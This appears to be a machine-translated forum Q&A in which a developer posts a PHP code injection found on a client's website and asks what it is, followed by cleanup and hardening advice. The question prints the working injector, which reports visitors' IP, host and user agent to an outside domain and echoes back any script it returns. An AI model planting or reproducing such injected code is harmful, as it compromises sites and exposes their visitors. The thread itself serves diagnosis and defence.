Javascript 在客户端';s网站

Javascript 在客户端';s网站,javascript,php,Javascript,Php,我们接到一个客户的电话,说他们的网站坏了,只是加载了部分内容。在浏览网站上的代码时,我发现了以下代码片段: <?php #9da223# error_reporting(0); ini_set('display_errors',0); $wp_nht097 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_nht097) && !preg_match ('/bot/i

我们接到一个客户的电话,说他们的网站坏了,只是加载了部分内容。在浏览网站上的代码时,我发现了以下代码片段:

<?php
#9da223#
error_reporting(0); 
ini_set('display_errors',0); 

$wp_nht097 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097) 
    && !preg_match ('/bot/i', $wp_nht097))) {
  $wp_nht09097 = 
    "http://" . "error" . "class" . ".com/class" . "/?ip=".$_SERVER['REMOTE_ADDR']
    ."&    referer=" . urlencode($_SERVER['HTTP_HOST'])
    ."&ua=" . urlencode($wp_nht097);

  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL,$wp_nht09097);
  curl_setopt($ch, CURLOPT_TIMEOUT, 6); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
  $wp_097nht = curl_exec ($ch); 
  curl_close($ch);
}
if ( substr($wp_097nht,1,3) === 'scr' ){ 
  echo $wp_097nht; 
}
#/9da223#
?>

由于上述代码中的一个“curl_”函数上存在未定义的函数,站点停止工作

从我收集到的信息来看,它试图从errorclass.com获取内容,通过域、用户ip和用户代理进行传递,并作为响应查找脚本标记,如果找到,它将打印对文档的响应

我试图查看请求的内容,但目前该网站似乎只返回一个完全空的文档

域名可以追溯到中国,与域名相关的IP地址可以追溯到荷兰

以前有人见过类似的吗

谢天谢地,客户端在同一台服务器上托管各种其他站点,它们似乎都没有受到威胁

编辑:

我对托管的网站进行了更深一点的挖掘,发现其中有几个网站被破坏了。原来的网站不是Wordpress网站,但另一个是。似乎是某种形式的机器人进行了编辑,因为它们都是在上周二(1月21日)下午12:55同时编辑的

在安装到客户机选择的服务器上后,我们会让客户机完全控制我们创建的所有站点。因此,我们花了一些时间才意识到这个问题

这是一种“病毒”,还有许多其他类似的代码注入。这是一个常见的问题,一旦我用类似的代码填充了整个专用服务器。我建议您对受感染的文件进行备份,并删除代码中有问题的部分。请注意,您很可能也感染了其他php/html文件,因此请在托管文件上进行搜索。

(这应该是一条注释,但有点长)

以前有人见过类似的吗

任何回答为“是”的人大概都会和你一样困惑

这个问题的目的是什么

现在有更重要、更紧迫、更有趣的问题要问

其中最重要的是:

  • 这是怎么发生的

  • 你为什么不早点知道呢


  • (顺便说一句:对于已经说过并将要说“从上一次已知的良好备份中恢复”的人来说,这是显而易见的。困难的是要知道什么是良好的备份—这是最后一次没有漏洞的备份,而不是最后一次没有症状的备份)

    将整个站点与上一次备份或repo快照进行比较。如果有内容数据库,请还原上一个已知的安全版本。使用安全扫描程序或知名安全公司在您的站点上运行SQL注入和XSS测试。您的wordpress实例是最新的吗?您必须随时更新安全补丁。更改密码时,请确保使用sftp而不是ftp。简单代码注入器。可能是为了链接。如果您在该服务器上有多个站点,请使用不同的用户名运行它们-如果它们都是“www”或“apache”,那么成功地违反其中一个将危及它们,并使了解它们是如何进入的变得更加困难。